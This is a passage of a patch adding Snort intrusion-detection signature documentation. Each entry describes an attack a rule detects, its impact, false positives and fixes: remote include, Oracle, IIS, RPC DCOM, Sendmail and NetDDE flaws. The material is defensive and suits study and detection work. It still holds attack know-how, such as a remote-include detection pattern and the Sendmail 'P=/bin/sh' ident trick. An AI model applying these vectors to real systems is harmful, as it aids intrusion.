+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2307.txt
+++ snort-2.8.5.2/doc/signatures/2307.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2307
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PayPal Storefront PHP web application running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code of the attackers choosing.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PayPal Storefront PHP web application running 
+on a server. It may be possible for an attacker to include code of their
+choosing from a source external to the server running the application.
+This code will execute with the privileges of the user running the web
+server.
+
+The vulnerability exists due to inadequate verification of include file
+locations in the application.
+
+--
+Affected Systems:
+	PayPal Store Front 3.0, others may also be affected.
+
+--
+Attack Scenarios:
+An attacker might include their code by including the URI to the script
+in the HTTP GET parameters when calling index.php.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+The content/pcre criteria: "content:"page="; pcre:"/page=(http|https|ftp)/i"; 
+Are met frequently by the strings "page=http" and "lastpage=http" which 
+occur relatively often in the text of cookies, most commonly ones associated 
+with MSN passport.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+False positive information contributed by Alan Whinery <whinery@hawaii.edu>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1020.txt
+++ snort-2.8.5.2/doc/signatures/1020.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+1020
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow associated with a file with a .idc extension. 
+
+--
+Impact:
+Remote access.  This attack may permit the execution of arbitrary commands on the vulnerable server.
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) supports file extensions including .idc that call the ISM.DLL.  A buffer overflow vulnerability exists in ISM.DLL code when it receives a malformed request, permitting the execution of arbitrary code.  
+
+--
+Affected Systems:
+IIS 4.0 hosts
+
+--
+Attack Scenarios:
+An attacker can send a malformed request containing a file name with an extension of .idc, possibly causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0874
+
+Bugtraq:
+http://www.securityfocus.com/bid/307
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/393.txt
+++ snort-2.8.5.2/doc/signatures/393.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+393
+
+--
+
+Summary:
+This event is generated when an ICMP Datagram Conversion Error message is detected on the network with an invalid ICMP code.  ICMP Datagram Conversion Error messages were developed with the introduction of IPv6 to give information about invalid datagram conversions between IPv4 and IPv6.
+
+--
+
+Impact:
+No known attack vectors are known that use ICMP type 31 datagrams.  This is purely an informational message that detects errors on the network.  Only ICMP Codes 0 through 11 have been defined by IANA, ICMP Type 31 datagrams with ICMP Codes other than these values are invalid.
+
+--
+
+Detailed Information:
+ICMP Type 31 was developed to return information about datagram conversion errors between IPv4 and IPv6 as data is converted between them.  
+
+--
+
+Attack Scenarios:
+None known
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate ICMP Datagram Conversion Error messages.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 31 datagrams should be blocked at the firewall.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2910.txt
+++ snort-2.8.5.2/doc/signatures/2910.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2910
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure refresh_snapshot_repgroup
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2678.txt
+++ snort-2.8.5.2/doc/signatures/2678.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2678
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure start_log
+. This procedure is included in
+ctx_output.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1321.txt
+++ snort-2.8.5.2/doc/signatures/1321.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid: 1321
+
+--
+Summary:
+This event is generated when packets on the network have the Time To 
+Live (TTL) set to 0.
+
+--
+Impact:
+Improper use of IP multicasting by an application causing anomalous 
+behaviour on the network. This may have a detrimental effect on network 
+devices.
+
+--
+Detailed Information:
+Under normal circumstances the TTL should not be 0.
+
+This may be the result of a poorly designed application sending a TTL of 0 using Winsock.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	Windows 95
+	Windows NT 3.5 and 3.51
+
+--
+Attack Scenarios:
+The application may be using a flaw in some versions of Winsock that 
+allow multicast packets to have a TTL of 0.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor fixes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb\;EN-US\;q138268
+http://support.microsoft.com/default.aspx?scid=kb;EN-US;131978
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2954.txt
+++ snort-2.8.5.2/doc/signatures/2954.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2954
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/793.txt
+++ snort-2.8.5.2/doc/signatures/793.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+793
+
+--
+Summary:
+This event is generated when an internal mail server sends an e-mail out of the network that may contain a Visual Basic Script (VBS) attachment. 
+
+--
+Impact:
+Malicious code infection.  This event may indicate that an internal host may be infected with some kind of malicious code.
+
+--
+Detailed Information:
+An outbound e-mail message that contains an attachment with a file name ending in ".vbs" may indicate that an internal host has been infected by some kind of malicious code.  A ".vbs" extension typically means that an attachment file is a Visual Basic Script.  A VBS attachment may contain executable code for a worm, virus, or trojan.
+
+--
+Affected Systems:
+Microsoft Windows hosts.
+
+--
+Attack Scenarios:
+Malicious code may be spread by e-mail containing attachments with files ending in ".vbs".
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This alert will be triggered if e-mail is sent containing a legitimate VBS attachment.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Make sure that the suspected infected host has the most current anti-virus software.
+
+Run a virus scan on the suspected infected host.
+
+Configure your mail server to block attachments that contain executable code, such as those with extensions of ".vbs", ".exe", etc.
+
+--
+Contributors:
+Original rule writer unknown.
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2186.txt
+++ snort-2.8.5.2/doc/signatures/2186.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2186
+
+--
+Summary:
+This event is generated when a suspicious packet using an unusual 
+protocol is sent to a router.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in multiple Cisco IOS versions such that a Denial
+of Service condition can be issued against a device by sending multiple 
+packets using IP protocols 53, 55, 77 and 103 directly to that device.
+
+Cisco IOS processes these packets and under certain circumstances, can 
+be made to incorrectly flag an input interface as being full.
+
+--
+Affected Systems:
+Multiple versions of Cisco IOS.
+
+--
+Attack Scenarios:
+An attacker may send a large number of IP packets using one of the 
+protocols 53, 55, 77 or 103 directly to a router. Exploit code exists.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2023.txt
+++ snort-2.8.5.2/doc/signatures/2023.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2023
+
+--
+Summary:
+The RPC service mountd enables clients to connect to networked file 
+machine being dismounted via UDP.
+
+--
+Impact:
+Denial of network resources to users on the local area network.
+
+--
+Detailed Information:
+This may be an attempt to deny access to network resources from an 
+unauthorized source. It may also be indicative of an attacker probing 
+for RPC services on a host in an attempt to discover a possible entry 
+point to network resources via a vulnerable daemon.
+
+--
+Affected Systems:
+All systems allowing network shares to be unmounted by anonymous hosts, 
+all systems allowing RPC services to be stopped by ordinary users and 
+systems already compromised by an attacker via another vulnerability.
+
+--
+Attack Scenarios:
+This is an intelligence gathering activity, the attacker could remotely 
+unmount a shared resource to deny a resource to the local area network 
+or a probe to discover possible routes of entry into a system.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+When allowing hosts to mount an external network share, consider using a
+hosts.allow file.
+
+Do not allow shares to be unmounted by unauthorized hosts or users.
+
+RPC services should not be available outside the local area network, 
+filter RPC ports at the firewall to ensure access is denied to RPC 
+enabled machines.
+
+RPC services should also be disabled where not needed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3281.txt
+++ snort-2.8.5.2/doc/signatures/3281.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3281
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/841.txt
+++ snort-2.8.5.2/doc/signatures/841.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+841
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3090.txt
+++ snort-2.8.5.2/doc/signatures/3090.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3090
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/881.txt
+++ snort-2.8.5.2/doc/signatures/881.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+881
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Guide to network resource tools:
+http://www.acad.bg/beginner/gnrt/specialist/archie.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1656.txt
+++ snort-2.8.5.2/doc/signatures/1656.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1656
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/669.txt
+++ snort-2.8.5.2/doc/signatures/669.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+669
+
+--
+Summary:
+This event is generated when an external attacker attempts to exploit a vulnerability in Sendmail, where linefeed characters in ident messages are not properly parsed.
+
+--
+Impact:
+Severe. Remote execution of arbitrary code, leading to remote root compromise. 
+
+--
+Detailed Information:
+Sendmail 8.6.10 and earlier versions contain a vulnerability related to the parsing of linefeed characters in commands passed from ident to Sendmail. An attacker can use a specially crafted command with linefeeds in an ident response to Sendmail. The message is not properly parsed and Sendmail forwards the response, with included commands, to its queue. The commands are then executed while the message awaits delivery in the Sendmail queue, causing the included arbitrary code to be executed on the server in the security context of Sendmail. 
+
+--
+Affected Systems:
+Systems running unpatched versions of Sendmail 8.6.10 or earlier.
+
+--
+Attack Scenarios:
+An attacker sends an email with linefeed characters and includes a path variable of P=/bin/sh. Directives included in the transmission are executed while the message remains in the Sendmail queue.
+
+--
+Ease of Attack:
+Moderate. Multiple exploits exist, but the window of opportunity is small; the vulnerability must be exploited while the message is queued for delivery and must have sufficient time (the mail server must be busy/slow) to execute the commands.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of Sendmail.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0204
+
+Bugtraq
+http://www.securityfocus.com/bid/2311
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2887.txt
+++ snort-2.8.5.2/doc/signatures/2887.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2887
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_delete_resolution
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-1.txt
+++ snort-2.8.5.2/doc/signatures/119-1.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+119-1
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an attempt to evade IDS.
+
+--
+Detailed Information:
+This event indicates that the http_inspect pre-processor has detected
+web traffic containing coded ascii values.
+
+--
+Affected Systems:
+	All web servers.
+
+--
+Attack Scenarios: 
+An attacker may try to encode an attack by using the hexadecimal
+representation of the ascii characters used in an attempt to evade
+detection by IDS.
+
+-- 
+Ease of Attack: 
+Simple
+
+-- 
+
+False Positives:
+These encodings can be relatively prevalent in normal web traffic.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2259.txt
+++ snort-2.8.5.2/doc/signatures/2259.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2259
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2933.txt
+++ snort-2.8.5.2/doc/signatures/2933.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2933
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/951.txt
+++ snort-2.8.5.2/doc/signatures/951.txt
@@ -0,0 +1,83 @@
+Rule:
+
+--
+Sid:
+951
+
+--
+
+Summary:
+This event is generated when an attempt is made to access a file with 
+Microsoft Personal Web Server login information.
+
+--
+
+Impact:
+If successful, the attacker can log into the system and modify web 
+content.
+
+--
+
+Detailed Information:
+On systems running Microsoft Personal Web Server the file authors.pwd 
+contains usernames and encrypted passwords for users who can author the 
+contents on this server. The attacker can guess the exact URL of this 
+file and request it, hence gaining insecure information.
+
+--
+
+Affected Systems:
+Certain versions of Microsoft Windows 95 or Windows 98 running Personal 
+Web Server 4.0. Windows NT installations are not affected.
+
+--
+
+Attack Scenarios:
+An attacker can request the file from its standard location, entering 
+the exact URL, and gain access to the system after cracking the 
+passwords found in the file.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Apply the appropriate vendor supplied patch.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+Official fix:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS99-010.asp
+
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10078
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0386
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2474.txt
+++ snort-2.8.5.2/doc/signatures/2474.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2474
+
+--
+Summary:
